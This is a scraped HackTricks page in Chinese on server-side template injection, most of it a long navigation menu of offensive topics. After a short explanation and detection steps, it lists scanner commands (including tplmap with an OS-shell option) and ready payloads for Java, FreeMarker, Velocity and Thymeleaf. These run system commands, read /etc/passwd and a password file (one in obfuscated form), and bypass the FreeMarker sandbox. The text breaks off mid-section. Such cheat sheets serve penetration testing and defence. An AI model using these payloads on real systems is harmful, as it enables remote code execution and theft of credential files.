hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
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由 GitBook 提供支持
在本页
  • 什么是SSTI(服务器端模板注入)
  • 检测
  • 工具
  • TInjA
  • SSTImap
  • Tplmap
  • 模板注入表
  • 攻击
  • 通用
  • Java
  • FreeMarker (Java)
  • Velocity (Java)
  • Thymeleaf
  • Spring Framework (Java)
  • Spring视图操作(Java)
  • Pebble (Java)
  • Jinjava (Java)
  • Hubspot - HuBL (Java)
  • 表达式语言 - EL (Java)
  • Groovy (Java)
  • Smarty (PHP)
  • Twig (PHP)
  • Plates(PHP)
  • PHPlib 和 HTML_Template_PHPLIB (PHP)
  • Server-Side Template Injection (SSTI)
  • Description
  • Steps to Reproduce
  • Impact
  • Jade (NodeJS)
  • patTemplate (PHP)
  • Handlebars (NodeJS)
  • JsRender (NodeJS)
  • PugJs (NodeJS)
  • NUNJUCKS (NodeJS)
  • ERB (Ruby)
  • Slim (Ruby)
  • Python
  • Tornado (Python)
  • Jinja2 (Python)
  • Mako (Python)
  • Razor (.Net)
  • ASP
  • Mojolicious (Perl)
  • GO 中的 SSTI
  • 更多利用
  • BlackHat PDF
  • 相关帮助
  • 工具
  • 暴力检测列表
  • 练习和参考
  1. Pentesting Web

SSTI (Server Side Template Injection)

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什么是SSTI(服务器端模板注入)

服务器端模板注入是一种漏洞,当攻击者可以将恶意代码注入到在服务器上执行的模板中时发生。这种漏洞可以在各种技术中找到,包括Jinja。

Jinja是一种常用的用于Web应用程序的模板引擎。让我们看一个示例,演示使用Jinja的易受攻击代码片段:

output = template.render(name=request.args.get('name'))

在这个易受攻击的代码中,用户请求中的 name 参数直接通过 render 函数传递到模板中。这可能会让攻击者注入恶意代码到 name 参数中,导致服务器端模板注入。

例如,攻击者可以构造一个带有如下载荷的请求:

http://vulnerable-website.com/?name={{bad-stuff-here}}

将{{bad-stuff-here}}负载注入到name参数中。该负载可以包含Jinja模板指令,使攻击者能够执行未经授权的代码或操纵模板引擎,从而潜在地控制服务器。

为防止服务器端模板注入漏洞,开发人员应确保用户输入在插入模板之前经过适当的清理和验证。实施输入验证并使用上下文感知的转义技术可以帮助减轻此漏洞的风险。

检测

要检测服务器端模板注入(SSTI),最初,对模板进行模糊测试是一种直接的方法。这涉及将一系列特殊字符(${{<%[%'"}}%\)注入到模板中,并分析服务器对常规数据与此特殊负载的响应之间的差异。漏洞指示包括:

  • 抛出错误,揭示漏洞并可能揭示模板引擎。

  • 反射中负载的缺失,或部分缺失,暗示服务器对其进行处理方式与常规数据不同。

  • 明文上下文:通过检查服务器是否评估模板表达式(例如{{7*7}},${7*7})来区分XSS。

  • 代码上下文:通过更改输入参数来确认漏洞。例如,将http://vulnerable-website.com/?greeting=data.username中的greeting更改为查看服务器输出是否动态或固定,例如greeting=data.username}}hello返回用户名。

识别阶段

识别模板引擎涉及分析错误消息或手动测试各种特定语言的负载。导致错误的常见负载包括${7/0},{{7/0}}和<%= 7/0 %>。观察服务器对数学运算的响应有助于确定特定的模板引擎。

工具

一款高效的SSTI + CSTI扫描器,利用新颖的多语言混合技术。

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

一个交互式表格,包含最有效的模板注入多语言混合代码,以及对44个最重要的模板引擎的预期响应。

攻击

通用

在这个单词列表中,您可以找到下面提到的一些引擎环境中定义的变量:

Java

Java - 基本注入

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - 检索系统的环境变量

${T(java.lang.System).getenv()}

Java - 检索 /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - 沙盒绕过

⚠️ 仅适用于版本低于2.3.30的Freemarker。

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

更多信息

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

更多信息

Thymeleaf

在Thymeleaf中,用于测试SSTI漏洞的常见表达式是${7*7},这也适用于这个模板引擎。对于潜在的远程代码执行,可以使用以下表达式:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

